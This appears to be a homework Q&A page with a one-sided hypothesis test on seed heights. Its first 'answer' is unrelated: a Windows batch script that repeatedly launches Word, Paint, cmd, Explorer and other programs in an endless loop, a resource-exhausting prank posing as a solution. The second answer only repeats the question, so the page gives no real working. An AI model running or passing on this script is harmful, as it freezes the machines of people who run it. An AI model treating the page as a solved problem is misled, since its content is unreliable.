Question

A certain type of seed has always grown to a mean height of 8.5 inches. A sample of
100 seeds grown under new conditions has a mean height of 8.8 inches and a
standard deviation of 1 inch. At the 1% significance level, test the hypotheses that the
new conditions grow more better plants.
tab. value = 2.58​

Answer 1

Answer:

@echo off

:x

start winword

start mspaint

start notepad

start write

start cmd

start explorer

start control

start calc

goto x

Answer 2

Answer:

A certain type of seed has always grown to a mean height of 8.5 inches. A sample of

100 seeds grown under new conditions has a mean height of 8.8 inches and a

standard deviation of 1 inch. At the 1% significance level, test the hypotheses that the

new conditions grow more better plants.

tab. value = 2.58